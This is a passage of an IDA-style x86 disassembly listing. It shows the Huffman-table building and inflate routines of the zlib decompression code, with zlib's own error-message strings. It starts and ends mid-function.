sub_409E20 add esp, 0Ch mov [ebp+arg_8], eax mov eax, [ebp+arg_0] mov ecx, [eax+34h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+30h] jnb short loc_40C0F0 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+var_8] sub edx, 1 mov [ebp+var_7C], edx jmp short loc_40C0FC ; --------------------------------------------------------------------------- loc_40C0F0: ; CODE XREF: sub_40AF6D+1170j mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+var_8] mov [ebp+var_7C], ecx loc_40C0FC: ; CODE XREF: sub_40AF6D+1181j mov edx, [ebp+var_7C] mov [ebp+var_18], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+30h] cmp edx, [ecx+34h] jz short loc_40C16B mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40C16B: ; CODE XREF: sub_40AF6D+11A1j mov eax, [ebp+arg_0] mov dword ptr [eax], 8 loc_40C174: ; CODE XREF: sub_40AF6D+75j ; DATA XREF: HSho:0040C2BDo mov [ebp+arg_8], 1 mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp loc_40C299 ; --------------------------------------------------------------------------- loc_40C1D6: ; CODE XREF: sub_40AF6D+75j ; DATA XREF: HSho:0040C2C1o mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp short loc_40C299 ; --------------------------------------------------------------------------- loc_40C235: ; CODE XREF: sub_40AF6D+6Cj mov [ebp+arg_8], 0FFFFFFFEh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_409E20 add esp, 0Ch jmp short loc_40C299 ; --------------------------------------------------------------------------- loc_40C294: ; CODE XREF: sub_40AF6D:loc_40B271j ; sub_40AF6D+487j ... jmp loc_40AFCD ; --------------------------------------------------------------------------- loc_40C299: ; CODE XREF: sub_40AF6D+EBj ; sub_40AF6D+238j ... mov esp, ebp pop ebp retn sub_40AF6D endp ; --------------------------------------------------------------------------- off_40C29D dd offset loc_40AFE9 ; DATA XREF: sub_40AF6D+75r dd offset loc_40B276 dd offset loc_40B3F9 dd offset loc_40B65E dd offset loc_40B86D dd offset loc_40BA7E dd offset loc_40BF9F dd offset loc_40C0AB dd offset loc_40C174 dd offset loc_40C1D6 off_40C2C5 dd offset loc_40B0C4 ; DATA XREF: sub_40AF6D+150r dd offset loc_40B101 dd offset loc_40B1CA dd offset loc_40B1EA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2D5 proc near ; CODE XREF: sub_40DA4C+3Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_40ADBE add esp, 0Ch mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx mov eax, [ebp+arg_4] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_4] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_4] call dword ptr [eax+24h] add esp, 8 xor eax, eax pop ebp retn sub_40C2D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C330 proc near ; CODE XREF: sub_40CBFE+51p ; sub_40CCA6+62p ... var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_54 = dword ptr -54h var_50 = byte ptr -50h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 108h lea eax, [ebp+var_54] mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov dword ptr [edx], 0 mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov dword ptr [ecx], 0 mov edx, [ebp+var_4] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_EC], ecx loc_40C46E: ; CODE XREF: sub_40C330+172j mov edx, [ebp+var_4] mov eax, [edx] mov ecx, [ebp+eax*4+var_54] add ecx, 1 mov edx, [ebp+var_4] mov eax, [edx] mov [ebp+eax*4+var_54], ecx mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx mov edx, [ebp+var_EC] sub edx, 1 mov [ebp+var_EC], edx cmp [ebp+var_EC], 0 jnz short loc_40C46E mov eax, [ebp+var_54] cmp eax, [ebp+arg_4] jnz short loc_40C4C5 mov ecx, [ebp+arg_14] mov dword ptr [ecx], 0 mov edx, [ebp+arg_18] mov dword ptr [edx], 0 xor eax, eax jmp loc_40CBFA ; --------------------------------------------------------------------------- loc_40C4C5: ; CODE XREF: sub_40C330+17Aj mov eax, [ebp+arg_18] mov ecx, [eax] mov [ebp+var_100], ecx mov [ebp+var_F4], 1 jmp short loc_40C4EB ; --------------------------------------------------------------------------- loc_40C4DC: ; CODE XREF: sub_40C330:loc_40C503j mov edx, [ebp+var_F4] add edx, 1 mov [ebp+var_F4], edx loc_40C4EB: ; CODE XREF: sub_40C330+1AAj cmp [ebp+var_F4], 0Fh ja short loc_40C505 mov eax, [ebp+var_F4] cmp [ebp+eax*4+var_54], 0 jz short loc_40C503 jmp short loc_40C505 ; --------------------------------------------------------------------------- loc_40C503: ; CODE XREF: sub_40C330+1CFj jmp short loc_40C4DC ; --------------------------------------------------------------------------- loc_40C505: ; CODE XREF: sub_40C330+1C2j ; sub_40C330+1D1j mov ecx, [ebp+var_F4] mov [ebp+var_FC], ecx mov edx, [ebp+var_100] cmp edx, [ebp+var_F4] jnb short loc_40C52B mov eax, [ebp+var_F4] mov [ebp+var_100], eax loc_40C52B: ; CODE XREF: sub_40C330+1EDj mov [ebp+var_EC], 0Fh jmp short loc_40C546 ; --------------------------------------------------------------------------- loc_40C537: ; CODE XREF: sub_40C330:loc_40C55Ej mov ecx, [ebp+var_EC] sub ecx, 1 mov [ebp+var_EC], ecx loc_40C546: ; CODE XREF: sub_40C330+205j cmp [ebp+var_EC], 0 jz short loc_40C560 mov edx, [ebp+var_EC] cmp [ebp+edx*4+var_54], 0 jz short loc_40C55E jmp short loc_40C560 ; --------------------------------------------------------------------------- loc_40C55E: ; CODE XREF: sub_40C330+22Aj jmp short loc_40C537 ; --------------------------------------------------------------------------- loc_40C560: ; CODE XREF: sub_40C330+21Dj ; sub_40C330+22Cj mov eax, [ebp+var_EC] mov [ebp+var_A0], eax mov ecx, [ebp+var_100] cmp ecx, [ebp+var_EC] jbe short loc_40C586 mov edx, [ebp+var_EC] mov [ebp+var_100], edx loc_40C586: ; CODE XREF: sub_40C330+248j mov eax, [ebp+arg_18] mov ecx, [ebp+var_100] mov [eax], ecx mov edx, 1 mov ecx, [ebp+var_F4] shl edx, cl mov [ebp+var_E8], edx jmp short loc_40C5C3 ; --------------------------------------------------------------------------- loc_40C5A6: ; CODE XREF: sub_40C330:loc_40C5FAj mov eax, [ebp+var_F4] add eax, 1 mov [ebp+var_F4], eax mov ecx, [ebp+var_E8] shl ecx, 1 mov [ebp+var_E8], ecx loc_40C5C3: ; CODE XREF: sub_40C330+274j mov edx, [ebp+var_F4] cmp edx, [ebp+var_EC] jnb short loc_40C5FC mov eax, [ebp+var_F4] mov ecx, [ebp+var_E8] sub ecx, [ebp+eax*4+var_54] mov [ebp+var_E8], ecx cmp [ebp+var_E8], 0 jge short loc_40C5FA mov eax, 0FFFFFFFDh jmp loc_40CBFA ; --------------------------------------------------------------------------- loc_40C5FA: ; CODE XREF: sub_40C330+2BEj jmp short loc_40C5A6 ; --------------------------------------------------------------------------- loc_40C5FC: ; CODE XREF: sub_40C330+29Fj mov edx, [ebp+var_EC] mov eax, [ebp+var_E8] sub eax, [ebp+edx*4+var_54] mov [ebp+var_E8], eax cmp [ebp+var_E8], 0 jge short loc_40C625 mov eax, 0FFFFFFFDh jmp loc_40CBFA ; --------------------------------------------------------------------------- loc_40C625: ; CODE XREF: sub_40C330+2E9j mov ecx, [ebp+var_EC] mov edx, [ebp+ecx*4+var_54] add edx, [ebp+var_E8] mov eax, [ebp+var_EC] mov [ebp+eax*4+var_54], edx mov [ebp+var_F4], 0 mov ecx, [ebp+var_F4] mov [ebp+var_DC], ecx lea edx, [ebp+var_50] mov [ebp+var_4], edx lea eax, [ebp+var_D8] mov [ebp+var_98], eax loc_40C667: ; CODE XREF: sub_40C330+386j mov ecx, [ebp+var_EC] sub ecx, 1 mov [ebp+var_EC], ecx cmp [ebp+var_EC], 0 jz short loc_40C6B8 mov edx, [ebp+var_4] mov eax, [ebp+var_F4] add eax, [edx] mov [ebp+var_F4], eax mov ecx, [ebp+var_98] mov edx, [ebp+var_F4] mov [ecx], edx mov eax, [ebp+var_98] add eax, 4 mov [ebp+var_98], eax mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp short loc_40C667 ; --------------------------------------------------------------------------- loc_40C6B8: ; CODE XREF: sub_40C330+34Dj mov edx, [ebp+arg_0] mov [ebp+var_4], edx mov [ebp+var_EC], 0 loc_40C6C8: ; CODE XREF: sub_40C330+404j mov eax, [ebp+var_4] mov ecx, [eax] mov [ebp+var_F4], ecx mov edx, [ebp+var_F4] mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax test edx, edx jz short loc_40C71C mov ecx, [ebp+var_F4] mov edx, [ebp+ecx*4+var_E0] mov eax, [ebp+arg_24] mov ecx, [ebp+var_EC] mov [eax+edx*4], ecx mov edx, [ebp+var_F4] mov eax, [ebp+edx*4+var_E0] add eax, 1 mov ecx, [ebp+var_F4] mov [ebp+ecx*4+var_E0], eax loc_40C71C: ; CODE XREF: sub_40C330+3B4j mov edx, [ebp+var_EC] add edx, 1 mov [ebp+var_EC], edx mov eax, [ebp+var_EC] cmp eax, [ebp+arg_4] jb short loc_40C6C8 mov ecx, [ebp+var_A0] mov edx, [ebp+ecx*4+var_E0] mov [ebp+arg_4], edx mov [ebp+var_EC], 0 mov eax, [ebp+var_EC] mov [ebp+var_E0], eax mov ecx, [ebp+arg_24] mov [ebp+var_4], ecx mov [ebp+var_E4], 0FFFFFFFFh mov edx, [ebp+var_100] neg edx mov [ebp+var_9C], edx mov [ebp+var_90], 0 mov [ebp+var_8], 0 mov [ebp+var_F0], 0 jmp short loc_40C7A6 ; --------------------------------------------------------------------------- loc_40C797: ; CODE XREF: sub_40C330:loc_40CBC7j mov eax, [ebp+var_FC] add eax, 1 mov [ebp+var_FC], eax loc_40C7A6: ; CODE XREF: sub_40C330+465j mov ecx, [ebp+var_FC] cmp ecx, [ebp+var_A0] jg loc_40CBCC mov edx, [ebp+var_FC] mov eax, [ebp+edx*4+var_54] mov [ebp+var_C], eax loc_40C7C5: ; CODE XREF: sub_40C330:loc_40CBC2j mov ecx, [ebp+var_C] mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx test ecx, ecx jz loc_40CBC7 loc_40C7D9: ; CODE XREF: sub_40C330:loc_40CA0Fj mov eax, [ebp+var_9C] add eax, [ebp+var_100] cmp [ebp+var_FC], eax jle loc_40CA14 mov ecx, [ebp+var_E4] add ecx, 1 mov [ebp+var_E4], ecx mov edx, [ebp+var_9C] add edx, [ebp+var_100] mov [ebp+var_9C], edx mov eax, [ebp+var_A0] sub eax, [ebp+var_9C] mov [ebp+var_F0], eax mov ecx, [ebp+var_F0] cmp ecx, [ebp+var_100] jbe short loc_40C840 mov edx, [ebp+var_100] mov [ebp+var_104], edx jmp short loc_40C84C ; --------------------------------------------------------------------------- loc_40C840: ; CODE XREF: sub_40C330+500j mov eax, [ebp+var_F0] mov [ebp+var_104], eax loc_40C84C: ; CODE XREF: sub_40C330+50Ej mov ecx, [ebp+var_104] mov [ebp+var_F0], ecx mov edx, [ebp+var_FC] sub edx, [ebp+var_9C] mov [ebp+var_F4], edx mov eax, 1 mov ecx, [ebp+var_F4] shl eax, cl mov [ebp+var_94], eax mov ecx, [ebp+var_C] add ecx, 1 cmp [ebp+var_94], ecx jbe loc_40C923 mov edx, [ebp+var_C] add edx, 1 mov eax, [ebp+var_94] sub eax, edx mov [ebp+var_94], eax mov ecx, [ebp+var_FC] lea edx, [ebp+ecx*4+var_54] mov [ebp+var_98], edx mov eax, [ebp+var_F4] cmp eax, [ebp+var_F0] jnb short loc_40C923 loc_40C8C1: ; CODE XREF: sub_40C330+5F1j mov ecx, [ebp+var_F4] add ecx, 1 mov [ebp+var_F4], ecx mov edx, [ebp+var_F4] cmp edx, [ebp+var_F0] jnb short loc_40C923 mov eax, [ebp+var_94] shl eax, 1 mov [ebp+var_94], eax mov ecx, [ebp+var_98] add ecx, 4 mov [ebp+var_98], ecx mov edx, [ebp+var_98] mov eax, [ebp+var_94] cmp eax, [edx] ja short loc_40C90D jmp short loc_40C923 ; --------------------------------------------------------------------------- loc_40C90D: ; CODE XREF: sub_40C330+5D9j mov ecx, [ebp+var_98] mov edx, [ebp+var_94] sub edx, [ecx] mov [ebp+var_94], edx jmp short loc_40C8C1 ; --------------------------------------------------------------------------- loc_40C923: ; CODE XREF: sub_40C330+559j ; sub_40C330+58Fj ... mov eax, 1 mov ecx, [ebp+var_F4] shl eax, cl mov [ebp+var_F0], eax mov ecx, [ebp+arg_20] mov edx, [ecx] add edx, [ebp+var_F0] cmp edx, 5A0h jbe short loc_40C953 mov eax, 0FFFFFFFCh jmp loc_40CBFA ; --------------------------------------------------------------------------- loc_40C953: ; CODE XREF: sub_40C330+617j mov eax, [ebp+arg_20] mov ecx, [eax] mov edx, [ebp+arg_1C] lea eax, [edx+ecx*8] mov [ebp+var_8], eax mov ecx, [ebp+var_E4] mov edx, [ebp+var_8] mov [ebp+ecx*4+var_90], edx mov eax, [ebp+arg_20] mov ecx, [eax] add ecx, [ebp+var_F0] mov edx, [ebp+arg_20] mov [edx], ecx cmp [ebp+var_E4], 0 jz short loc_40CA07 mov eax, [ebp+var_E4] mov ecx, [ebp+var_EC] mov [ebp+eax*4+var_E0], ecx mov dl, byte ptr [ebp+var_100] mov byte ptr [ebp+var_14+1], dl mov al, byte ptr [ebp+var_F4] mov byte ptr [ebp+var_14], al mov ecx, [ebp+var_9C] sub ecx, [ebp+var_100] mov edx, [ebp+var_EC] shr edx, cl mov [ebp+var_F4], edx mov eax, [ebp+var_E4] mov ecx, [ebp+var_8] sub ecx, [ebp+eax*4+var_94] sar ecx, 3 sub ecx, [ebp+var_F4] mov [ebp+var_10], ecx mov edx, [ebp+var_E4] mov eax, [ebp+edx*4+var_94] mov ecx, [ebp+var_F4] mov edx, [ebp+var_14] mov [eax+ecx*8], edx mov edx, [ebp+var_10] mov [eax+ecx*8+4], edx jmp short loc_40CA0F ; --------------------------------------------------------------------------- loc_40CA07: ; CODE XREF: sub_40C330+658j mov eax, [ebp+arg_14] mov ecx, [ebp+var_8] mov [eax], ecx loc_40CA0F: ; CODE XREF: sub_40C330+6D5j jmp loc_40C7D9 ; --------------------------------------------------------------------------- loc_40CA14: ; CODE XREF: sub_40C330+4BBj mov edx, [ebp+var_FC] sub edx, [ebp+var_9C] mov byte ptr [ebp+var_14+1], dl mov eax, [ebp+arg_4] mov ecx, [ebp+arg_24] lea edx, [ecx+eax*4] cmp [ebp+var_4], edx jb short loc_40CA37 mov byte ptr [ebp+var_14], 0C0h jmp short loc_40CA95 ; --------------------------------------------------------------------------- loc_40CA37: ; CODE XREF: sub_40C330+6FFj mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_8] jnb short loc_40CA67 mov edx, [ebp+var_4] cmp dword ptr [edx], 100h sbb eax, eax and al, 0A0h add eax, 60h mov byte ptr [ebp+var_14], al mov ecx, [ebp+var_4] mov edx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax jmp short loc_40CA95 ; --------------------------------------------------------------------------- loc_40CA67: ; CODE XREF: sub_40C330+70Fj mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, [ebp+arg_8] mov eax, [ebp+arg_10] mov ecx, [eax+edx*4] add ecx, 50h mov byte ptr [ebp+var_14], cl mov edx, [ebp+var_4] mov eax, [edx] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_C] mov edx, [ecx+eax*4] mov [ebp+var_10], edx mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax loc_40CA95: ; CODE XREF: sub_40C330+705j ; sub_40C330+735j mov ecx, [ebp+var_FC] sub ecx, [ebp+var_9C] mov edx, 1 shl edx, cl mov [ebp+var_94], edx mov eax, [ebp+var_EC] mov ecx, [ebp+var_9C] shr eax, cl mov [ebp+var_F4], eax jmp short loc_40CAD6 ; --------------------------------------------------------------------------- loc_40CAC4: ; CODE XREF: sub_40C330+7CAj mov ecx, [ebp+var_F4] add ecx, [ebp+var_94] mov [ebp+var_F4], ecx loc_40CAD6: ; CODE XREF: sub_40C330+792j mov edx, [ebp+var_F4] cmp edx, [ebp+var_F0] jnb short loc_40CAFC mov eax, [ebp+var_F4] mov ecx, [ebp+var_8] mov edx, [ebp+var_14] mov [ecx+eax*8], edx mov edx, [ebp+var_10] mov [ecx+eax*8+4], edx jmp short loc_40CAC4 ; --------------------------------------------------------------------------- loc_40CAFC: ; CODE XREF: sub_40C330+7B2j mov ecx, [ebp+var_FC] sub ecx, 1 mov eax, 1 shl eax, cl mov [ebp+var_F4], eax jmp short loc_40CB22 ; --------------------------------------------------------------------------- loc_40CB14: ; CODE XREF: sub_40C330+814j mov ecx, [ebp+var_F4] shr ecx, 1 mov [ebp+var_F4], ecx loc_40CB22: ; CODE XREF: sub_40C330+7E2j mov edx, [ebp+var_EC] and edx, [ebp+var_F4] test edx, edx jz short loc_40CB46 mov eax, [ebp+var_EC] xor eax, [ebp+var_F4] mov [ebp+var_EC], eax jmp short loc_40CB14 ; --------------------------------------------------------------------------- loc_40CB46: ; CODE XREF: sub_40C330+800j mov ecx, [ebp+var_EC] xor ecx, [ebp+var_F4] mov [ebp+var_EC], ecx mov edx, 1 mov ecx, [ebp+var_9C] shl edx, cl sub edx, 1 mov [ebp+var_F8], edx loc_40CB6E: ; CODE XREF: sub_40C330+890j mov eax, [ebp+var_EC] and eax, [ebp+var_F8] mov ecx, [ebp+var_E4] cmp eax, [ebp+ecx*4+var_E0] jz short loc_40CBC2 mov edx, [ebp+var_E4] sub edx, 1 mov [ebp+var_E4], edx mov eax, [ebp+var_9C] sub eax, [ebp+var_100] mov [ebp+var_9C], eax mov edx, 1 mov ecx, [ebp+var_9C] shl edx, cl sub edx, 1 mov [ebp+var_F8], edx jmp short loc_40CB6E ; --------------------------------------------------------------------------- loc_40CBC2: ; CODE XREF: sub_40C330+857j jmp loc_40C7C5 ; --------------------------------------------------------------------------- loc_40CBC7: ; CODE XREF: sub_40C330+4A3j jmp loc_40C797 ; --------------------------------------------------------------------------- loc_40CBCC: ; CODE XREF: sub_40C330+482j cmp [ebp+var_E8], 0 jz short loc_40CBEA cmp [ebp+var_A0], 1 jz short loc_40CBEA mov [ebp+var_108], 0FFFFFFFBh jmp short loc_40CBF4 ; --------------------------------------------------------------------------- loc_40CBEA: ; CODE XREF: sub_40C330+8A3j ; sub_40C330+8ACj mov [ebp+var_108], 0 loc_40CBF4: ; CODE XREF: sub_40C330+8B8j mov eax, [ebp+var_108] loc_40CBFA: ; CODE XREF: sub_40C330+190j ; sub_40C330+2C5j ... mov esp, ebp pop ebp retn sub_40C330 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CBFE proc near ; CODE XREF: sub_40AF6D+A62p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 0 push 4 push 13h mov eax, [ebp+arg_10] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_10] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40CC2F mov eax, 0FFFFFFFCh jmp short loc_40CCA2 ; --------------------------------------------------------------------------- loc_40CC2F: ; CODE XREF: sub_40CBFE+28j mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_8] push ecx push 0 push 0 push 13h push 13h mov edx, [ebp+arg_0] push edx call sub_40C330 add esp, 28h mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFDh jnz short loc_40CC6C mov eax, [ebp+arg_10] mov dword ptr [eax+18h], offset aOversubscribed ; "oversubscribed dynamic bit lengths tree"... jmp short loc_40CC8B ; --------------------------------------------------------------------------- loc_40CC6C: ; CODE XREF: sub_40CBFE+60j cmp [ebp+var_4], 0FFFFFFFBh jz short loc_40CC7A mov ecx, [ebp+arg_4] cmp dword ptr [ecx], 0 jnz short loc_40CC8B loc_40CC7A: ; CODE XREF: sub_40CBFE+72j mov edx, [ebp+arg_10] mov dword ptr [edx+18h], offset aIncompleteDyna ; "incomplete dynamic bit lengths tree" mov [ebp+var_4], 0FFFFFFFDh loc_40CC8B: ; CODE XREF: sub_40CBFE+6Cj ; sub_40CBFE+7Aj mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_10] call dword ptr [eax+24h] add esp, 8 mov eax, [ebp+var_4] loc_40CCA2: ; CODE XREF: sub_40CBFE+2Fj mov esp, ebp pop ebp retn sub_40CBFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCA6 proc near ; CODE XREF: sub_40AF6D+F01p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 0 push 4 push 120h mov eax, [ebp+arg_20] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_20] call dword ptr [edx+20h] add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_40CCDD mov eax, 0FFFFFFFCh jmp loc_40CE27 ; --------------------------------------------------------------------------- loc_40CCDD: ; CODE XREF: sub_40CCA6+2Bj mov eax, [ebp+var_C] push eax lea ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_1C] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_14] push ecx push offset dword_414538 push offset dword_4144BC push 101h mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_8] push eax call sub_40C330 add esp, 28h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CD21 mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_40CD66 loc_40CD21: ; CODE XREF: sub_40CCA6+71j cmp [ebp+var_4], 0FFFFFFFDh jnz short loc_40CD33 mov edx, [ebp+arg_20] mov dword ptr [edx+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree" jmp short loc_40CD4A ; --------------------------------------------------------------------------- loc_40CD33: ; CODE XREF: sub_40CCA6+7Fj cmp [ebp+var_4], 0FFFFFFFCh jz short loc_40CD4A mov eax, [ebp+arg_20] mov dword ptr [eax+18h], offset aIncompleteLite ; "incomplete literal/length tree" mov [ebp+var_4], 0FFFFFFFDh loc_40CD4A: ; CODE XREF: sub_40CCA6+8Bj ; sub_40CCA6+91j mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_20] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_20] call dword ptr [ecx+24h] add esp, 8 mov eax, [ebp+var_4] jmp loc_40CE27 ; --------------------------------------------------------------------------- loc_40CD66: ; CODE XREF: sub_40CCA6+79j mov edx, [ebp+var_C] push edx lea eax, [ebp+var_8] push eax mov ecx, [ebp+arg_1C] push ecx mov edx, 